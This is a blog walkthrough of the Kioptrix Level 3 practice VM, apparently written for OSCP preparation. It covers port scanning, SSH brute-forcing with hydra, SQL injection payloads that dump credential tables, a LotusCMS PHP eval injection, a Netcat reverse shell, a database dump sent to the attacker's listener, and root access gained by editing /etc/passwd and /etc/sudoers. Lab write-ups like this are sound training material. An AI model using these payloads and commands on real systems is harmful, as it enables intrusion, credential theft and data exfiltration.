Kioptrix Level 1.2 (Level 3) Walkthrough (OSCP Prep)

Kioptrix Level 1.2 (Level 3) Walkthrough (OSCP Prep)


Kioptrix Level 1.2 (also known as Kioptrix Level 3) is the third in the Kioptrix line of vulnerable virtual machines. It is a beginner-level box designed for aspiring penetration testers to learn the ropes.

This machine offers several different paths to root. We will go over a few of them in this write-up.

Before We Begin

This machine suffers from the same network configuration issues as the first two Kioptrix boxes. If you want to set up this VM on a custom virtual network (highly recommended), refer to my post on changing the virtual network adapter in Kioptrix.


Host Discovery

As always, we need to locate the victim machine’s IP address on our network:

└─$ nmap -sP -n
Starting Nmap 7.91 ( ) at 2021-08-01 20:39 CDT
Nmap scan report for
Host is up (0.0034s latency).
Nmap scan report for
Host is up (0.00067s latency).
Nmap scan report for
Host is up (0.0014s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.73 seconds

We see the Kioptrix VM running at

Looking through the README that comes with the VM (you did read it, didn’t you?), we see it is suggested that we update our hosts file to point the machine’s IP to Open up /etc/hosts in your favorite text editor (with root privileges), and add the following:

Of course, be sure to replace the IP with the actual address of the Kioptrix VM on your network.

Scanning and Enumeration

We’ll use rustscan to look for any open ports on the target system:

└─$ rustscan -- -sV -oA scans/nmap-tcp
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :
Please contribute more quotes to our GitHub

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( ) at 2021-08-01 15:56 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 15:56
Scanning [2 ports]
Completed Ping Scan at 15:56, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:56
Scanning ( [2 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 15:56, 0.00s elapsed (2 total ports)
Initiating Service scan at 15:56
Scanning 2 services on (
Completed Service scan at 15:56, 6.01s elapsed (2 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 15:56
Completed NSE at 15:56, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 15:56
Completed NSE at 15:56, 0.00s elapsed
Nmap scan report for (
Host is up, received syn-ack (0.00038s latency).
Scanned at 2021-08-01 15:56:03 CDT for 6s

22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 6.44 seconds

There isn’t much to go on here: an SSH server and a web server.

We can run a directory buster scan on the web server to search for any hidden files or directories. I’ll use gobuster.

└─$ gobuster -u -w /usr/share/wordlists/wfuzz/general/big.txt

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/wfuzz/general/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2021/08/01 22:22:51 Starting gobuster
/cache (Status: 301)
/core (Status: 301)
/data (Status: 403)
/phpmyadmin (Status: 301)
2021/08/01 22:22:56 Finished

Next, let’s fire up Firefox and take a look at the web server. front page

From here, we find a blog, a login portal, and a gallery app. Let’s examine them one by one.


There are only two posts on the blog, but one of them gives us some valuable information:

Finding a potential username in a blog post

Here we see that Ligoat has hired a new employee, whom they seem to refer to by his username: loneferret.

We also notice the ability to leave comments on blog posts, which could provide a potential attack vector later on. For now, we’ll move on to enumerate the gallery application.


We find a basic image gallery application.

Ligoat Security Gallery front page

The title calls this page “Gallarific”, and the source confirms this seems to be the name of the application:

<meta http-equiv="Generator" content="Gallarific" />

Login Portal

This is a typical login portal.

LotusCMS Login Portal

Attempting a few basic SQLi payloads gets us nowhere. We do, however, find an application name: LotusCMS.

Initial Foothold

There are many paths to get an initial shell on this machine. We will take a look at three of them.

Brute Force (The Waiting Game)

The simplest (and perhaps most time-consuming) method to getting a shell is via brute-forcing SSH credentials.

We were able to earlier learn a potential username, loneferret, from a blog post. If this is in fact a valid system account, and if he has used a weak password, we may be able to brute force his credentials and gain access to a shell.

We can attempt the brute force attack with the popular hydra tool and the rockyou.txt wordlist. We’ll use the following command:

└─$ hydra -l loneferret -P /usr/share/wordlists/passwords/rockyou.txt -t 4 ssh

This will take some time, but eventually, we will find the password for loneferret: starwars.

hydra successfully brute-forces loneferret‘s password

Exploiting Gallarific

From our earlier enumeration, we learned the gallery application appears to be something called “Gallarific”. Let’s search for any known vulnerabilities.

└─$ searchsploit gallarific                                               
----------------------------------------------------------------------------------- ------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ------------------------
Gallarific - 'search.php?query' Cross-Site Scripting                               | php/webapps/31369.txt
Gallarific - 'user.php' Arbirary Change Admin Information                          | php/webapps/8796.html
Gallarific - Multiple Script Direct Request Authentication Bypass                  | php/webapps/31370.txt
Gallarific 1.1 - '/gallery.php' Arbitrary Delete/Edit Category                     | php/webapps/9421.txt
GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection                  | php/webapps/15891.txt
----------------------------------------------------------------------------------- ------------------------
Shellcodes: No Results

The SQL injection looks interesting. Reading the file with searchsploit -x, we find a simple proof of concept which should leak the credentials for Gallarific users:

===[ Exploit ]===[Sql Injection],group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--

If we plug this into our URL, we get an error stating the SELECT statements have a different number of columns. We can experiment with the number of columns in our injected SELECT statement to find one that works. Six does the trick:,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users--
Dumping the Gallarific creds with SQLi

We can use these credentials to log in to the Gallarific application.

Gallarific admin panel

There may be something useful here, but for now, we’ll dig deeper into the SQL injection.

Our gobuster scan from earlier uncovered a phpmyadmin directory. If we can recover account credentials to log in, it will be trivial to further enumerate the database.

We can try to use our SQL injection to dump the mysql.user table:,group_concat(user,0x3a,password),3,4,5,6+from+mysql.user--
Dumping MySQL password hashes with SQLi

We could crack this with john or hashcat, but it may take a while. Instead, let’s use Google to see if the reversed hash is already available on the web. I’ll add -kioptrix to the query to try to avoid any Kioptrix-specific spoilers.

Finding the reversed MySQL root hash with Google

So we have MySQL credentials. We can now log in to phpMyAdmin. Searching through the server, we find an interesting table in the gallery database: dev_accounts. Use the SQL tab to run a query and dump the contents of the table. We find more hashes:

Dumping the dev_accounts table for more creds

Now we can throw these into CrackStation and find the plaintext credentials:

Reversing the dev_accounts hashes with CrackStation


The last entry point we will have a look at is the LotusCMS app running on the webserver. First, let’s see if there are any available exploits:

└─$ searchsploit lotus cms
----------------------------------------------------------------------------------- ------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution                | php/webapps/
Lotus Core CMS 1.0.1 - Local File Inclusion                                        | php/webapps/47985.txt
Lotus Core CMS 1.0.1 - Remote File Inclusion                                       | php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                      | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                          | php/webapps/16982.txt
----------------------------------------------------------------------------------- ------------------------
Shellcodes: No Results

I could not get the first exploit to work, and based on the research into the options for Lotus Core CMS 1.0.1, it appears our target is not running that version of LotusCMS.

We do have a Metasploit module for a remote command execution vulnerability. I prefer to avoid Metasploit, especially for these easier boxes, but we can do some deeper research into this vulnerability.

A bit of searching leads us to a python exploit on Packet Storm. We could simply download and run the exploit, but let’s try to go the manual route.

We glean from the exploit code that the magic here is injecting PHP code into a request parameter to the index.php file. The format is as such:


We can try to cat out /etc/passwd as a proof of concept:');${system('cat /etc/passwd')};#

The server will complain about a parse error. We will need to URL-encode our string to perform the injection. I’ll use Burp Suite’s Decoder tab to encode the string and resend it.

Dumping /etc/passwd with PHP code injection

We have code execution! Now we just need a reverse shell.

Use the RCE to run which nc to verify we have Netcat installed. Then launch a listener and connect back.

Popping a shell

We have a shell, but we need to escalate beyond the www-data user.

Since we know the target is using a MySQL database, a good place to begin enumeration is to search for database creds. Our reverse shell landed in the web root directory, so we can perform a recursive grep to search for any mention of mysql. With any luck, we will find some plaintext credentials.

grep -R mysql * | grep pass
gallery/gfunctions.php:                                    $GLOBALS["gallarific_mysql_password"])
gallery/install.BAK:        if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
gallery/gconfig.php:    $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
gallery/gconfig.php:if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
grep GLOBALS gallery/gconfig.php
        $GLOBALS["gallarific_path"] = "";
        $GLOBALS["gallarific_mysql_server"] = "localhost";
        $GLOBALS["gallarific_mysql_database"] = "gallery";
        $GLOBALS["gallarific_mysql_username"] = "root";
        $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

Awesome! We have the MySQL root password!

From here, we could go back to phpMyAdmin as we did in the previous section. Let’s try a different approach this time around.

Accessing the database using the mysql client will be cumbersome at the moment due to our limited shell. Alternatively, we can use mysqldump to dump all databases to a text file. We can then transfer the file back to our attacker for easier searching.

From our attacker, launch a Netcat listener to capture the file:

└─$ nc -nlvp 5555 > db.sql  
Listening on 5555
mysqldump -u root -p --all-databases > /tmp/db.sql

ls -l /tmp
total 408
-rw-r--r-- 1 www-data www-data 411765 Aug  1 14:53 db.sql

nc 5555 < /tmp/db.sql

We can now examine the file for any credentials. We hit paydirt right near the beginning of the dump file:

INSERT INTO `dev_accounts` VALUES (1,'dreg','0d3eccfb887aabd50f243b3f155c0f85'),(2,'loneferret','5badcaf789d3d1d09794d8f021f40f0e');

So we have two hashes:


We can pop these into CrackStation (see above) and we have our passwords!

Privilege Escalation

We know from dumping /etc/passwd that both dreg and loneferret appear to be valid accounts on the Kioptrix box. We also saw loneferret mentioned in the blog post at the start of the enumeration process (and found his password with hydra), so let’s log in with his credentials:

└─$ ssh                                 's password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
Last login: Sat Apr 16 08:51:58 2011 from

And we’re in!

We find an interesting file, CompanyPolicy.README in the home directory. This is telling us to use the ht editor. It also is telling us to run the ht editor with sudo! sudo -l confirms we have the right to run the editor with sudo:

loneferret@Kioptrix3:~$ ls -l
total 32
-rwxrwxr-x 1 root root 26275 2011-01-12 10:45
-rw-r--r-- 1 root root   224 2011-04-16 08:51 CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README 
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

Hmmm…. whatever could we do with a text editor running with superuser powers? 😈

Let’s hijack a system account. I’ll use games for this example.

We need to modify our TERM environment variable to run the editor:

loneferret@Kioptrix3:~$ sudo ht                                                                                     
Error opening terminal: screen-256color.
loneferret@Kioptrix3:~$ export TERM=xterm

Now sudo ht to launch the editor. Open the /etc/passwd file, and (IMPORTANT) save a copy somewhere safe.

Back up /etc/passwd before editing

What we’ll do now is generate a password hash and give it to the games user. To create the hash, we can use the openssl tool:

└─$ openssl passwd -1 -salt pwned

Now we can copy and paste this hash into the file for the games user (replacing the x) and save the file back to /etc/passwd.

Adding the password hash

At this point, we should be able to SSH into the box as games:

└─$ ssh                                      's password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
$ sudo -l
[sudo] password for games: 
Sorry, user games may not run sudo on Kioptrix3.

We have our account, but we need to add sudo privileges.

Back in the editor, open /etc/sudoers, and add the following line to the end:


Back in our SSH session, check our sudo privileges one more time.

$ sudo -l
User games may run the following commands on this host:
    (root) NOPASSWD: ALL
$ sudo -s
# id
uid=0(root) gid=0(root) groups=0(root)


With a small bit of snooping, we can find our “flag” (of sorts):

# cd /root
# ls -l
total 16
-rw-r--r--  1 root root  1327 2011-04-16 08:13 Congrats.txt
drwxr-xr-x 12 root root 12288 2011-04-16 07:26 ht-2.0.18
# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.

I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret

Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
Vulnerable version of this application can be downloaded
from the Exploit-DB website:

The HT Editor can be found here:
And the vulnerable version on Exploit-DB here:

Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

Wrapping Up

Congratulations on rooting Kioptrix Level 3! That was quite a lot to go over, but the experience gained in exploiting multiple attack vectors is invaluable.

This was certainly more involved than the previous Kioptrix machines, but well worth it.

When you’re ready for a more difficult challenge, try your hand at Kioptrix Level 4.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.